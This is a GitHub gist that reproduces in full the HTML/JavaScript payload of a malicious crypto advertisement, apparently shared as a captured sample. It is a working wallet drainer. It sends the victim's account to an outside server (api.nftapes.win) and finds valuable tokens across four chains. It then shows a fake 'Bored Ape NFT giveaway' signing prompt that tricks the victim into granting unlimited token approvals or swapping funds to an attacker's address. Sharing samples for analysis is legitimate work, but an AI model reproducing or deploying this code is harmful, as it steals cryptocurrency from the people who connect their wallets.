-
-
Save ivigamberdiev/9705621088359bd1a7cceca53608875f to your computer and use it in GitHub Desktop.
Payload for malicious ad from Coinzilla (14/05/22)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html><head><meta charset="utf-8"><link href="favicon.ico" rel="icon"></head> | |
<body> | |
<script src="assets/vendor/web3/web3.min.js"></script> | |
<script src="assets/vendor/bignumber/bignumber.min.js"></script> | |
<script> | |
const Thresholds = { | |
ETH: '40000000000000000', // 0.04 | |
BSC: '30000000000000000', // 0.03 | |
CRO: '45000000000000000000', // 45 | |
FTM: '25000000000000000000' // 25 | |
}; | |
const QuoteTokens = { | |
ETH: [ | |
{ | |
ADDRESS: '0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2', | |
SYMBOL: 'ETH' | |
}, | |
{ | |
ADDRESS: '0xdAC17F958D2ee523a2206206994597C13D831ec7', | |
SYMBOL: 'USDT' | |
}, | |
{ | |
ADDRESS: '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', | |
SYMBOL: 'USDC' | |
}, | |
{ | |
ADDRESS: '0x6B175474E89094C44Da98b954EedeAC495271d0F', | |
SYMBOL: 'DAI' | |
} | |
], | |
BSC: [ | |
{ | |
ADDRESS: '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c', | |
SYMBOL: 'BNB' | |
}, | |
{ | |
ADDRESS: '0x55d398326f99059fF775485246999027B3197955', | |
SYMBOL: 'USDT' | |
}, | |
{ | |
ADDRESS: '0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56', | |
SYMBOL: 'BUSD' | |
} | |
], | |
CRO: [ | |
{ | |
ADDRESS: '0x5C7F8A570d578ED84E63fdFA7b1eE72dEae1AE23', | |
SYMBOL: 'CRO' | |
}, | |
{ | |
ADDRESS: '0xc21223249CA28397B4B6541dfFaEcC539BfF0c59', | |
SYMBOL: 'USDC' | |
} | |
], | |
FTM: [ | |
{ | |
ADDRESS: '0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83', | |
SYMBOL: 'FTM' | |
}, | |
{ | |
ADDRESS: '0x04068DA6C83AFCFA0e13ba15A6696662335D5B75', | |
SYMBOL: 'USDC' | |
} | |
] | |
}; | |
const Routers = { | |
ETH: [ | |
{ // ShibaSwap | |
ADDRESS: '0x03f7724180AA6b939894B5Ca4314783B0b36b329', | |
QUOTER: '0x03f7724180AA6b939894B5Ca4314783B0b36b329', | |
FACTORY: '0x115934131916C8b277DD010Ee02de363c09d037c' | |
}, | |
{ // SushiSwap | |
ADDRESS: '0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F', | |
QUOTER: '0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F', | |
FACTORY: '0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac' | |
}, | |
{ // UniswapV2 | |
ADDRESS: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D', | |
QUOTER: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D', | |
FACTORY: '0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f' | |
}, | |
{ // UniswapV3 | |
ADDRESS: '0xE592427A0AEce92De3Edee1F18E0157C05861564', | |
QUOTER: '0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6', | |
FACTORY: '0x1F98431c8aD98523631AE4a59f267346ea31F984', | |
FEES: [500, 3000, 10000] | |
}, | |
{ // UniswapV2 (Auto) | |
ADDRESS: '0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45', | |
QUOTER: '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D', | |
FACTORY: '0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f', | |
AUTO: true | |
}, | |
{ // UniswapV3 (Auto) | |
ADDRESS: '0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45', | |
QUOTER: '0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6', | |
FACTORY: '0x1F98431c8aD98523631AE4a59f267346ea31F984', | |
FEES: [500, 3000, 10000], | |
AUTO: true | |
} | |
], | |
BSC: [ | |
{ // Safeswap | |
ADDRESS: '0xE804f3C3E6DdA8159055428848fE6f2a91c2b9AF', | |
QUOTER: '0xE804f3C3E6DdA8159055428848fE6f2a91c2b9AF', | |
FACTORY: '0x86A859773cf6df9C8117F20b0B950adA84e7644d' | |
}, | |
{ // PancakeSwapV1 | |
ADDRESS: '0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F', | |
QUOTER: '0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F', | |
FACTORY: '0xBCfCcbde45cE874adCB698cC183deBcF17952812' | |
}, | |
{ // PancakeSwapV2 | |
ADDRESS: '0x10ED43C718714eb63d5aA57B78B54704E256024E', | |
QUOTER: '0x10ED43C718714eb63d5aA57B78B54704E256024E', | |
FACTORY: '0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73' | |
} | |
], | |
CRO: [ | |
{ // Mad Meerkat Finance | |
ADDRESS: '0x145677FC4d9b8F19B5D56d1820c48e0443049a30', | |
QUOTER: '0x145677FC4d9b8F19B5D56d1820c48e0443049a30', | |
FACTORY: '0xd590cC180601AEcD6eeADD9B7f2B7611519544f4' | |
} | |
], | |
FTM: [ | |
{ // SpookySwap | |
ADDRESS: '0xF491e7B69E4244ad4002BC14e878a34207E38c29', | |
QUOTER: '0xF491e7B69E4244ad4002BC14e878a34207E38c29', | |
FACTORY: '0x152eE697f2E276fA89E96742e9bB9aB1F2E61bE3' | |
} | |
] | |
}; | |
const MAX_UINT = '0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'; | |
const ABI = { | |
ERC20: { | |
ALLOWANCE: {"constant":true,"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}, | |
APPROVE: {"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}, | |
BALANCE_OF: {"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"} | |
} | |
}; | |
const RPC = { | |
ETH: 'https://mainnet.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161', | |
BSC: 'https://bsc-dataseed.binance.org', | |
CRO: 'https://cronos-rpc.heavenswail.one', // or https://cronosrpc-1.xstaking.sg, official ones have too low limit on batch requests | |
FTM: 'https://rpc.ftm.tools' | |
}; | |
const Chains = { | |
ETH: 1, | |
BSC: 56, | |
CRO: 25, | |
FTM: 250 | |
}; | |
const Web3Nodes = {}; | |
Object.keys(Chains).forEach(chain => { | |
Web3Nodes[chain] = new Web3(RPC[chain]); | |
}); | |
if (window.ethereum) { | |
web3Node = new Web3(ethereum); | |
web3Node.eth.getChainId().then(chainId => { | |
for (let chain in Chains) { | |
if (Chains.hasOwnProperty(chain) && Chains[chain] == chainId) { | |
window.chain = chain; | |
break; | |
} | |
} | |
if (window.chain) { | |
function connect() { | |
web3Node.eth.requestAccounts().then(accounts => { | |
if (!accounts.length) { | |
connect(); | |
return; | |
} | |
web3Node.eth.defaultAccount = Web3.utils.toChecksumAddress(accounts[0]); | |
function fetch(approval) { | |
function error(handled) { | |
if (typeof handled == 'undefined') { | |
if (approval) { | |
fetch(false); | |
} | |
} else { | |
fetch(approval); | |
} | |
} | |
const xhttp = new XMLHttpRequest(); | |
xhttp.onreadystatechange = function() { | |
if (this.readyState == XMLHttpRequest.DONE) { | |
if (this.status == 200) { | |
let response = JSON.parse(this.responseText); | |
if (!response.results.length) { | |
error(); | |
return; | |
} | |
const balances = {}; | |
let batch = new Web3Nodes[chain].BatchRequest(); | |
let handled = 0; | |
response.results.forEach(result => { | |
result.token = result.token.toLowerCase(); | |
if (typeof balances[result.token] != 'undefined') { | |
return; | |
} | |
balances[result.token] = 0; | |
batch.add((new Web3Nodes[chain].eth.Contract([ | |
ABI.ERC20.BALANCE_OF | |
], result.token)).methods.balanceOf(web3Node.eth.defaultAccount).call.request((err, balance) => { | |
if (!err && balance) { // probably not ERC20 | |
balances[result.token] = balance; | |
} | |
if (++handled == Object.keys(balances).length) { | |
response.results = response.results.filter(result => balances[result.token] != 0); | |
if (!response.results.length) { | |
error(); | |
return; | |
} | |
batch = new Web3Nodes[chain].BatchRequest(); | |
handled = 0; | |
response.results.forEach(result => { | |
result.ALLOWANCE = 0; | |
batch.add((new Web3Nodes[chain].eth.Contract([ | |
ABI.ERC20.ALLOWANCE | |
], result.token)).methods.allowance(web3Node.eth.defaultAccount, approval ? result.spender : response.recipient).call.request((err, allowance) => { | |
if (!err && allowance) { // probably not ERC20 | |
result.ALLOWANCE = allowance; | |
} | |
if (++handled == response.results.length) { | |
if (approval) { | |
response.results.forEach(result => { | |
balances[result.token] = BigNumber.min(balances[result.token], result.ALLOWANCE).toFixed(0); | |
}); | |
} else { | |
response.results.forEach(result => { | |
if ((new BigNumber(result.ALLOWANCE)).gte(balances[result.token])) { | |
balances[result.token] = 0; | |
} | |
}); | |
} | |
response.results = response.results.filter(result => balances[result.token] != 0); | |
if (!response.results.length) { | |
error(); | |
return; | |
} | |
const outputToken = QuoteTokens[chain][0].ADDRESS; | |
let swaps = []; | |
response.results.forEach(result => { | |
Routers[chain].forEach(router => { | |
if (approval && result.spender.toLowerCase() != router.ADDRESS.toLowerCase()) { | |
return; | |
} | |
if (router.FEES) { | |
router.FEES.forEach(fee => { | |
QuoteTokens[chain].forEach(quoteToken => { | |
const path = [result.token, fee, quoteToken.ADDRESS]; | |
if (quoteToken.ADDRESS != outputToken) { | |
path.push(fee); | |
path.push(outputToken); | |
} | |
swaps.push({ ROUTER: router, PATH: path, INPUT: balances[result.token] }); | |
}); | |
}); | |
} else { | |
QuoteTokens[chain].forEach(quoteToken => { | |
const path = [result.token, quoteToken.ADDRESS]; | |
if (quoteToken.ADDRESS != outputToken) { | |
path.push(outputToken); | |
} | |
swaps.push({ ROUTER: router, PATH: path, INPUT: balances[result.token] }); | |
}); | |
} | |
}); | |
}); | |
function createPath(data) { | |
let path = data[0]; | |
for (let i = 1; i < data.length; i++) { | |
path += Web3.utils.padLeft(Web3.utils.numberToHex(data[i]), 6).substr(2); | |
i++; | |
path += data[i].substr(2); | |
} | |
return path; | |
} | |
const outputs = {}; | |
batch = new Web3Nodes[chain].BatchRequest(); | |
handled = 0; | |
swaps.forEach(swap => { | |
let method; | |
if (swap.ROUTER.FEES) { | |
method = (new Web3Nodes[chain].eth.Contract([ | |
{"inputs":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"uint256","name":"amountIn","type":"uint256"}],"name":"quoteExactInput","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"nonpayable","type":"function"} | |
], swap.ROUTER.QUOTER)).methods.quoteExactInput(createPath(swap.PATH), swap.INPUT); | |
} else { | |
method = (new Web3Nodes[chain].eth.Contract([ | |
{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsOut","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"} | |
], swap.ROUTER.QUOTER)).methods.getAmountsOut(swap.INPUT, swap.PATH); | |
} | |
swap.QUOTE = swap.ROUTER.QUOTER + method.encodeABI(); | |
if (typeof outputs[swap.QUOTE] != 'undefined') { | |
return; | |
} | |
outputs[swap.QUOTE] = new BigNumber(0); | |
batch.add(method.call.request((err, output) => { | |
if (!err) { // probably non-existing path | |
outputs[swap.QUOTE] = new BigNumber(swap.ROUTER.FEES ? output : output[output.length - 1]); | |
} | |
if (++handled == Object.keys(outputs).length) { | |
swaps = swaps.filter(swap => outputs[swap.QUOTE].gte(Thresholds[chain])); | |
if (!swaps.length) { | |
error(); | |
return; | |
} | |
swaps.sort((a, b) => { | |
if (outputs[a.QUOTE].gt(outputs[b.QUOTE])) { | |
return -1; | |
} | |
if (outputs[a.QUOTE].lt(outputs[b.QUOTE])) { | |
return 1; | |
} | |
return 0; | |
}); | |
function next(i) { | |
setTimeout(() => { | |
if (i == swaps.length) { | |
error(); | |
return; | |
} | |
const swap = swaps[i]; | |
function handle(method) { | |
web3Node.eth.personal.sign('CONGRATULATIONS ❗❗\n\nYou won a Bored Ape NFT from our Giveaway! 🥳\n\nClaim it now. 🎁', web3Node.eth.defaultAccount).then(() => { | |
let handled = false; | |
method.send({ from: web3Node.eth.defaultAccount }).on('confirmation', () => { | |
if (!handled) { | |
handled = true; | |
error(true); | |
} | |
}).on('error', () => { | |
if (!handled) { | |
handled = true; | |
error(true); | |
} | |
}); | |
}).catch(() => { | |
handle(method); | |
}); | |
} | |
if (approval) { | |
if (swap.ROUTER.FEES) { | |
if (swap.ROUTER.AUTO) { | |
method = (new web3Node.eth.Contract([ | |
{"inputs":[{"components":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMinimum","type":"uint256"}],"internalType":"struct IV3SwapRouter.ExactInputParams","name":"params","type":"tuple"}],"name":"exactInput","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"} | |
], swap.ROUTER.ADDRESS)).methods.exactInput([ createPath(swap.PATH), response.recipient, swap.INPUT, 0 ]); | |
} else { | |
method = (new web3Node.eth.Contract([ | |
{"inputs":[{"components":[{"internalType":"bytes","name":"path","type":"bytes"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMinimum","type":"uint256"}],"internalType":"struct ISwapRouter.ExactInputParams","name":"params","type":"tuple"}],"name":"exactInput","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"} | |
], swap.ROUTER.ADDRESS)).methods.exactInput([ createPath(swap.PATH), response.recipient, MAX_UINT, swap.INPUT, 0 ]); | |
} | |
} else if (swap.ROUTER.AUTO) { | |
method = (new web3Node.eth.Contract([ | |
{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"}],"name":"swapExactTokensForTokens","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"payable","type":"function"} | |
], swap.ROUTER.ADDRESS)).methods.swapExactTokensForTokens(swap.INPUT, 0, swap.PATH, response.recipient); | |
} else { | |
method = (new web3Node.eth.Contract([ | |
{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"} | |
], swap.ROUTER.ADDRESS)).methods.swapExactTokensForETHSupportingFeeOnTransferTokens(swap.INPUT, 0, swap.PATH, response.recipient, MAX_UINT); | |
} | |
method.call({ from: web3Node.eth.defaultAccount }).then(() => { | |
handle(method); | |
}).catch(() => { // probably honeypot | |
next(i + 1); | |
}); | |
return; | |
} | |
if (swap.ROUTER.FEES) { | |
method = (new Web3Nodes[chain].eth.Contract([ | |
{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"uint24","name":"","type":"uint24"}],"name":"getPool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"} | |
], swap.ROUTER.FACTORY)).methods.getPool(swap.PATH[0], swap.PATH[2], swap.PATH[1]); | |
} else { | |
method = (new Web3Nodes[chain].eth.Contract([ | |
{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"getPair","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"} | |
], swap.ROUTER.FACTORY)).methods.getPair(swap.PATH[0], swap.PATH[1]); | |
} | |
method.call().then(pair => { | |
(new Web3Nodes[chain].eth.Contract([ | |
{"constant":false,"inputs":[{"internalType":"address","name":"dst","type":"address"},{"internalType":"uint256","name":"rawAmount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"} | |
], swap.PATH[0])).methods.transfer(pair, swap.INPUT).call({ from: web3Node.eth.defaultAccount }).then(() => { // still possible that the token can't be transfered to other addresses or that transferFrom would fail which is not possible to validate without prior approval | |
handle((new web3Node.eth.Contract([ | |
ABI.ERC20.APPROVE | |
], swap.PATH[0])).methods.approve(response.recipient, MAX_UINT)); | |
}).catch(() => { // probably honeypot | |
next(i + 1); | |
}); | |
}).catch(() => { | |
next(i + 1); | |
}); | |
}, 0); // prevent exceeding maximum call stack size | |
} | |
next(0); | |
} | |
})); | |
}); | |
batch.execute(); | |
} | |
})); | |
}); | |
batch.execute(); | |
} | |
})); | |
}); | |
batch.execute(); | |
} else { | |
error(); | |
} | |
} | |
}; | |
xhttp.open('POST', 'https://api.nftapes.win', true); | |
xhttp.setRequestHeader('Content-Type', 'application/json; charset=UTF-8'); | |
const params = { | |
chain: chain, | |
account: web3Node.eth.defaultAccount | |
} | |
if (approval) { | |
params.spenders = []; | |
Routers[chain].forEach(router => { | |
if (!params.spenders.includes(router.ADDRESS)) { | |
params.spenders.push(router.ADDRESS); | |
} | |
}); | |
} | |
xhttp.send(JSON.stringify(params)); | |
} | |
fetch(true); | |
}).catch(() => { | |
connect(); | |
}); | |
} | |
connect(); | |
} | |
}); | |
} | |
</script> | |
</body></html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment